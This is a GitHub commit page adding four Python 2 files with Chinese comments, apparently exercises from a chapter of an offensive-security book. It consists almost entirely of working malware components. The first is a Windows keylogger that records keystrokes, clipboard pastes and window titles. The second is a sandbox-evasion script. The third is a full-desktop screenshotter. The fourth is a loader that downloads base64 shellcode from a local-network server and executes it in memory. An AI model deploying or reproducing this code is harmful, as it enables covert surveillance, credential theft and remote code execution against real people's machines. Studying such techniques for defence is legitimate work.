Skip to content

Commit d60bcdc

Browse files
giantbranchgiantbranch
committed
finished chapter 8
1 parent 644fb24 commit d60bcdc

File tree

4 files changed

+257
-0
lines changed

4 files changed

+257
-0
lines changed

‎我手敲的代码(中文注释)/chapter8/keylogger.py

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
#-*- coding:utf8 -*-
2+
3+
from ctypes import *
4+
import pythoncom
5+
import pyHook
6+
import win32clipboard
7+
8+
user32 = windll.user32
9+
kernel32 = windll.kernel32
10+
psapi = windll.psapi
11+
current_window = None
12+
13+
def get_current_process():
14+
15+
# 获取前台窗口句柄
16+
hwnd = user32.GetForegroundWindow()
17+
18+
# 获得进程ID
19+
pid = c_ulong(0)
20+
user32.GetWindowThreadProcessId(hwnd, byref(pid))
21+
22+
# 保存当前进程ID
23+
process_id = "%d" % pid.value
24+
25+
# 申请内存
26+
executable = create_string_buffer("\x00" * 512)
27+
# 打开进程
28+
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
29+
# 获取进程所对应的可执行文件的名字
30+
psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)
31+
32+
# 读取窗口标题
33+
window_title = create_string_buffer("\x00" * 512)
34+
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
35+
36+
# 输出进程相关信息
37+
print
38+
print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
39+
print
40+
41+
# 关闭句柄
42+
kernel32.CloseHandle(hwnd)
43+
kernel32.CloseHandle(h_process)
44+
45+
def keyStore(event):
46+
global current_window
47+
48+
# 检查目标是否切换了窗口
49+
if event.WindowName != current_window:
50+
current_window = event.WindowName
51+
get_current_process()
52+
53+
# 检测按键是否为常规按键(非组合键等)
54+
if event.Ascii > 32 and event.Ascii < 127:
55+
print chr(event.Ascii),
56+
else:
57+
# 若输入为[CTRL-V],则获取剪切板内容
58+
if event.Key == "V":
59+
win32clipboard.OpenClipboard()
60+
pasted_value = win32clipboard.GetClipboardData()
61+
win32clipboard.CloseClipboard()
62+
63+
print "[PASTE] - %s" % (pasted_value),
64+
65+
else:
66+
print "[%s]" % event.Key,
67+
68+
# 返回直到下一个钩子事件被触发
69+
return True
70+
71+
# 创建和注册钩子函数管理器
72+
k1 =pyHook.HookManager()
73+
#
74+
k1.KeyDown = keyStore
75+
76+
# 注册键盘记录的钩子，然后永久执行
77+
k1.HookKeyboard()
78+
pythoncom.PumpMessages()
79+

‎我手敲的代码(中文注释)/chapter8/sandbox_detect.py

Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
#-*- coding:utf8 -*-
2+
3+
import ctypes
4+
import random
5+
import time
6+
import sys
7+
8+
user32 = ctypes.windll.user32
9+
kernel32 = ctypes.windll.kernel32
10+
11+
# 用于记录鼠标单击，键盘按键和双击的总数量
12+
keystrokes = 0
13+
mouse_clicks = 0
14+
double_clicks = 0
15+
16+
# 定义LASTINPUTINFO结构体
17+
class LASTINPUTINFO(ctypes.Structure):
18+
_fields_ = [
19+
("cbsize", ctypes.c_uint), # 结构体大小
20+
("dwTime", ctypes.c_ulong) # 系统最后输入时间
21+
]
22+
23+
def get_last_input():
24+
struct_lastinputinfo = LASTINPUTINFO()
25+
struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)
26+
27+
# 获得用户最后输入的相关信息
28+
user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))
29+
30+
# 获取系统开机以来的时间
31+
run_time = kernel32.GetTickCount()
32+
33+
elapsed = run_time - struct_lastinputinfo.dwTime
34+
print "[*] It's been %d milliseconds since the last input event." % elapsed
35+
36+
return elapsed
37+
38+
# 测试后删除下面代码，这只是测试上面代码能否运行成功
39+
# while True:
40+
# get_last_input()
41+
# time.sleep(1)
42+
43+
def get_key_press():
44+
global mouse_clicks
45+
global keystrokes
46+
47+
for i in range(0,0xff):
48+
# 检测某个按键是否被按下
49+
if user32.GetAsyncKeyState(i) == -32767:
50+
# 左键点击为0x1
51+
if i == 0x1:
52+
# 鼠标单击的数目和时间
53+
mouse_clicks += 1
54+
return time.time()
55+
# 键盘ASCII按键是从23-127（具体可看ASCII表），为可打印字符，这就获取了键盘的敲击次数
56+
elif i > 32 and i < 127:
57+
keystrokes += 1
58+
59+
return None
60+
61+
def detect_sandbox():
62+
global mouse_clicks
63+
global keystrokes
64+
65+
# 定义键盘，单击，双击的最大值（阀值）
66+
max_keystrokes = random.randint(10,25)
67+
max_mouse_clicks = random.randint(5,25)
68+
max_double_clicks = 10
69+
70+
double_clicks = 0
71+
double_click_threshold = 0.250 #秒为单位
72+
first_double_click = None
73+
74+
average_mousetime = 0
75+
max_input_threshold = 30000 #毫秒为单位
76+
77+
previous_timestamp = None
78+
detection_complete = False
79+
80+
# 获取用户最后一次输入之后经历的时间
81+
last_input = get_last_input()
82+
83+
# 超过设定的阀值时强制退出，就是用户最后一次输入之后经历的时间太长，都没用户活动了
84+
if last_input >= max_input_threshold:
85+
sys.exit(0)
86+
87+
# 循环检测
88+
while not detection_complete:
89+
90+
# 获取按下鼠标的时间，不懂的看函数的返回值
91+
keypress_time = get_key_press()
92+
93+
if keypress_time is not None and previous_timestamp is not None:
94+
# 计算两次点击的相隔时间
95+
elapsed = keypress_time - previous_timestamp
96+
# 间隔时间短的话，则为用户双击
97+
if elapsed <= double_click_threshold:
98+
double_clicks += 1
99+
if first_double_click is None:
100+
# 获取第一次双击的时间
101+
first_double_click = time.time()
102+
else:
103+
# 是否是沙盒的管理者在沙盒中模仿用户的点击（因为普通用户通常不会双击这么多）
104+
if double_clicks == max_double_clicks:
105+
# 短时间内，鼠标点击达到了我们设定的最大值（最大次数*双击间隔）
106+
if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold):
107+
sys.exit(0)
108+
# 是否达到了我们检测的最大数量，是就退出
109+
if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >=max_mouse_clicks:
110+
return
111+
112+
previous_timestamp = keypress_time
113+
elif keypress_time is not None:
114+
previous_timestamp = keypress_time
115+
116+
117+
118+
detect_sandbox()
119+
print "We are Ok!"
120+
121+
122+

‎我手敲的代码(中文注释)/chapter8/screenshotter.py

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
#-*- coding:utf8 -*-
2+
3+
import win32gui
4+
import win32ui
5+
import win32con
6+
import win32api
7+
8+
# 获取窗口桌面的句柄
9+
hdesktop = win32gui.GetDesktopWindow()
10+
11+
# 获得显示屏的像素尺寸
12+
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
13+
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
14+
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
15+
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
16+
17+
# 创建设备描述表
18+
desktop_dc = win32gui.GetWindowDC(hdesktop)
19+
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
20+
21+
# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据，直到我们保存到文件
22+
mem_dc = img_dc.CreateCompatibleDC()
23+
24+
# 创建位图对象
25+
screenshot = win32ui.CreateBitmap()
26+
screenshot.CreateCompatibleBitmap(img_dc, width, height)
27+
mem_dc.SelectObject(screenshot)
28+
29+
# 复制屏幕到我们的内存设备描述表中
30+
mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)
31+
32+
# 将位图保存到文件中
33+
screenshot.SaveBitmapFile(mem_dc, "C:\\test.bmp")
34+
35+
# 释放对象
36+
mem_dc.DeleteDC()
37+
win32gui.DeleteObject(screenshot.GetHandle())

‎我手敲的代码(中文注释)/chapter8/shell_exec.py

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
#-*- coding:utf8 -*-
2+
3+
import urllib2
4+
import ctypes
5+
import base64
6+
7+
# 从我们搭建的服务器下下载shellcode
8+
url = "http://10.10.10.128:8000/shellcode.exe"
9+
response = urllib2.urlopen(url)
10+
11+
12+
# 解码shellcode
13+
shellcode = base64.b64decode(response.read())
14+
# 申请内存空间
15+
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
16+
# 创建shellcode的函数指针
17+
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
18+
# 执行shellcode
19+
shellcode_func()

0 commit comments

Comments
 (0)